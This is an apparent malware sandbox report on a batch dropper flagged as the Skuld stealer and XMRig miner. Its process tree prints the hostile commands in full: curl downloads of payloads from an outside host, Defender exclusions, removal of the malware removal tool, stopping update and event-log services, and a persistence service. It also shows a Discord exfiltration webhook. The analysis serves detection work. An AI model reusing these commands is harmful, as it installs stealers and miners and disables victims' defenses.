skuld | 007772a6d9c5b76d61a2408e948b24b0ae10c00435a1d74d935c162a88ca4008

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
05/04/2025, 12:03

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General

Target

pyra/data/data.bat
Size

2KB
MD5

cf53469fbe70862f8395e48088f5dc39
SHA1

2c0061116ec9d52689a27930c22dafcb26a89f71
SHA256

1dcdbb2c5ca99456ae680c7777226caa09b1cab8be979c69729a1c307d7b6806
SHA512

c0900865407b40f98f873043978e0bd162fd81e36f163110565683a8bcf0ea16204bdfd26cf1216ce395bc2b002737a84ee8669ddd0cc4e226b778a70e7f8fe2

Score

10^/10

skuld xmrig defense_evasion discovery execution miner persistence stealer upx

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1357468186764775586/BRP230l-SHvQfTpsLO5GgfFtW8ZwDogt43OWww-lXchxPOAw7f7pT6n98q0MMIyhGHyc

Signatures

Skuld family
skuld
Skuld stealer
An info stealer written in Go lang.
stealer skuld
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/3876-107-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-106-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-105-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-104-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-101-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-108-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-102-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-109-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-110-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-112-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-113-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/3876-111-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5604	powershell.exe
4512	powershell.exe
5648	powershell.exe
948	powershell.exe
628	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	5588	curl.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
4556	file1.exe
5116	file2.exe
1636	iixpziuhlnum.exe

Modifies file permissions 1 TTPs 26 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2796	icacls.exe
5044	icacls.exe
4156	icacls.exe
2512	icacls.exe
4672	icacls.exe
1028	icacls.exe
2188	icacls.exe
2916	icacls.exe
2404	icacls.exe
5820	icacls.exe
2988	icacls.exe
4332	icacls.exe
612	icacls.exe
4536	icacls.exe
744	icacls.exe
3436	icacls.exe
4300	icacls.exe
4268	icacls.exe
1380	icacls.exe
3408	icacls.exe
2120	icacls.exe
5968	icacls.exe
5000	icacls.exe
5980	icacls.exe
5476	icacls.exe
952	icacls.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2756	powercfg.exe
6072	powercfg.exe
1500	powercfg.exe
4388	powercfg.exe
1048	powercfg.exe
2188	powercfg.exe
5820	powercfg.exe
5044	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	file2.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	iixpziuhlnum.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1636 set thread context of 2404	1636	iixpziuhlnum.exe	191
PID 1636 set thread context of 3876	1636	iixpziuhlnum.exe	194

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3876-96-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-107-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-106-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-105-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-104-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-101-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-108-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-102-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-100-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-98-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-99-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-97-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-109-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-110-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-112-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-113-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/3876-111-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3320	sc.exe
5368	sc.exe
4840	sc.exe
3680	sc.exe
5188	sc.exe
5508	sc.exe
4456	sc.exe
3484	sc.exe
5196	sc.exe
4464	sc.exe
4176	sc.exe
6084	sc.exe
1840	sc.exe
4504	sc.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2244	timeout.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
628	powershell.exe
628	powershell.exe
5648	powershell.exe
5648	powershell.exe
948	powershell.exe
948	powershell.exe
5116	file2.exe
5604	powershell.exe
5604	powershell.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
5116	file2.exe
1636	iixpziuhlnum.exe
4512	powershell.exe
4512	powershell.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
1636	iixpziuhlnum.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe
3876	explorer.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeDebugPrivilege	4556	file1.exe
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	5604	powershell.exe
Token: SeDebugPrivilege	5116	file2.exe
Token: SeShutdownPrivilege	1048	powercfg.exe
Token: SeCreatePagefilePrivilege	1048	powercfg.exe
Token: SeShutdownPrivilege	4388	powercfg.exe
Token: SeCreatePagefilePrivilege	4388	powercfg.exe
Token: SeShutdownPrivilege	6072	powercfg.exe
Token: SeCreatePagefilePrivilege	6072	powercfg.exe
Token: SeShutdownPrivilege	1500	powercfg.exe
Token: SeCreatePagefilePrivilege	1500	powercfg.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	1636	iixpziuhlnum.exe
Token: SeShutdownPrivilege	2756	powercfg.exe
Token: SeCreatePagefilePrivilege	2756	powercfg.exe
Token: SeShutdownPrivilege	5044	powercfg.exe
Token: SeCreatePagefilePrivilege	5044	powercfg.exe
Token: SeShutdownPrivilege	5820	powercfg.exe
Token: SeCreatePagefilePrivilege	5820	powercfg.exe
Token: SeShutdownPrivilege	2188	powercfg.exe
Token: SeCreatePagefilePrivilege	2188	powercfg.exe
Token: SeLockMemoryPrivilege	3876	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3884 wrote to memory of 628	3884	cmd.exe	87
PID 3884 wrote to memory of 628	3884	cmd.exe	87
PID 628 wrote to memory of 1672	628	powershell.exe	88
PID 628 wrote to memory of 1672	628	powershell.exe	88
PID 1672 wrote to memory of 1216	1672	cmd.exe	90
PID 1672 wrote to memory of 1216	1672	cmd.exe	90
PID 1216 wrote to memory of 2436	1216	net.exe	91
PID 1216 wrote to memory of 2436	1216	net.exe	91
PID 1672 wrote to memory of 1112	1672	cmd.exe	92
PID 1672 wrote to memory of 1112	1672	cmd.exe	92
PID 1672 wrote to memory of 5588	1672	cmd.exe	93
PID 1672 wrote to memory of 5588	1672	cmd.exe	93
PID 1672 wrote to memory of 5160	1672	cmd.exe	97
PID 1672 wrote to memory of 5160	1672	cmd.exe	97
PID 1672 wrote to memory of 2404	1672	cmd.exe	98
PID 1672 wrote to memory of 2404	1672	cmd.exe	98
PID 1672 wrote to memory of 2796	1672	cmd.exe	99
PID 1672 wrote to memory of 2796	1672	cmd.exe	99
PID 1672 wrote to memory of 2916	1672	cmd.exe	100
PID 1672 wrote to memory of 2916	1672	cmd.exe	100
PID 1672 wrote to memory of 4156	1672	cmd.exe	101
PID 1672 wrote to memory of 4156	1672	cmd.exe	101
PID 1672 wrote to memory of 5044	1672	cmd.exe	102
PID 1672 wrote to memory of 5044	1672	cmd.exe	102
PID 1672 wrote to memory of 5000	1672	cmd.exe	103
PID 1672 wrote to memory of 5000	1672	cmd.exe	103
PID 1672 wrote to memory of 5820	1672	cmd.exe	104
PID 1672 wrote to memory of 5820	1672	cmd.exe	104
PID 1672 wrote to memory of 5980	1672	cmd.exe	105
PID 1672 wrote to memory of 5980	1672	cmd.exe	105
PID 1672 wrote to memory of 2188	1672	cmd.exe	106
PID 1672 wrote to memory of 2188	1672	cmd.exe	106
PID 1672 wrote to memory of 744	1672	cmd.exe	107
PID 1672 wrote to memory of 744	1672	cmd.exe	107
PID 1672 wrote to memory of 2512	1672	cmd.exe	108
PID 1672 wrote to memory of 2512	1672	cmd.exe	108
PID 1672 wrote to memory of 5968	1672	cmd.exe	109
PID 1672 wrote to memory of 5968	1672	cmd.exe	109
PID 1672 wrote to memory of 4536	1672	cmd.exe	110
PID 1672 wrote to memory of 4536	1672	cmd.exe	110
PID 1672 wrote to memory of 1380	1672	cmd.exe	111
PID 1672 wrote to memory of 1380	1672	cmd.exe	111
PID 1672 wrote to memory of 5476	1672	cmd.exe	112
PID 1672 wrote to memory of 5476	1672	cmd.exe	112
PID 1672 wrote to memory of 612	1672	cmd.exe	113
PID 1672 wrote to memory of 612	1672	cmd.exe	113
PID 1672 wrote to memory of 3436	1672	cmd.exe	114
PID 1672 wrote to memory of 3436	1672	cmd.exe	114
PID 1672 wrote to memory of 952	1672	cmd.exe	115
PID 1672 wrote to memory of 952	1672	cmd.exe	115
PID 1672 wrote to memory of 2988	1672	cmd.exe	116
PID 1672 wrote to memory of 2988	1672	cmd.exe	116
PID 1672 wrote to memory of 4300	1672	cmd.exe	117
PID 1672 wrote to memory of 4300	1672	cmd.exe	117
PID 1672 wrote to memory of 4268	1672	cmd.exe	118
PID 1672 wrote to memory of 4268	1672	cmd.exe	118
PID 1672 wrote to memory of 4332	1672	cmd.exe	119
PID 1672 wrote to memory of 4332	1672	cmd.exe	119
PID 1672 wrote to memory of 1028	1672	cmd.exe	120
PID 1672 wrote to memory of 1028	1672	cmd.exe	120
PID 1672 wrote to memory of 2120	1672	cmd.exe	121
PID 1672 wrote to memory of 2120	1672	cmd.exe	121
PID 1672 wrote to memory of 3408	1672	cmd.exe	122
PID 1672 wrote to memory of 3408	1672	cmd.exe	122

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1720	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\pyra\data\data.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\pyra\data\data.bat h' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\pyra\data\data.bat h
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1672
  - - C:\Windows\system32\net.exe
      NET SESSION
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1216
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 SESSION
        5⤵
        
        PID:2436
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:1112
  - - C:\Windows\system32\curl.exe
      curl -o "C:\Users\Admin\AppData\Local\file1.exe" "https://pyra.mov/test/test1" --silent --show-error
      4⤵
      Downloads MZ/PE file
      PID:5588
  - - C:\Windows\system32\curl.exe
      curl -o "C:\Users\Admin\AppData\Local\file2.exe" "https://pyra.mov/test/test2" --silent --show-error
      4⤵
      PID:5160
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2404
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2796
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2916
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:4156
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:5044
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:5000
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:5820
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:5980
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2188
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:744
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2512
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:5968
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:4536
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:1380
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:5476
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:612
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:3436
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:952
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2988
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:4300
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:4268
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:4332
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:1028
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:2120
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:3408
  - - C:\Windows\system32\icacls.exe
      icacls "%driveLetter:\" /inheritance:r /grant:r "Everyone:F"
      4⤵
      Modifies file permissions
      PID:4672
  - - C:\Windows\system32\timeout.exe
      timeout /t 15 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\file1.exe' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5648
    - - C:\Users\Admin\AppData\Local\file1.exe
        
        "C:\Users\Admin\AppData\Local\file1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4556
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\file1.exe
        6⤵
        Views/modifies file attributes
        
        PID:1720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\file2.exe' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:948
    - - C:\Users\Admin\AppData\Local\file2.exe
        
        "C:\Users\Admin\AppData\Local\file2.exe"
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5116
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5604
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:3196
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:5172
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:6084
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:3680
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5188
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:5508
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:1840
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1048
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1500
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:6072
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "BUZZLBYC"
        6⤵
        Launches sc.exe
        
        PID:4456
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "BUZZLBYC" binpath= "C:\ProgramData\oycwqqzuyrth\iixpziuhlnum.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:3484
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:4464
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "BUZZLBYC"
        6⤵
        Launches sc.exe
        
        PID:5196

C:\ProgramData\oycwqqzuyrth\iixpziuhlnum.exe
C:\ProgramData\oycwqqzuyrth\iixpziuhlnum.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5480
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5468
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4840
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5368
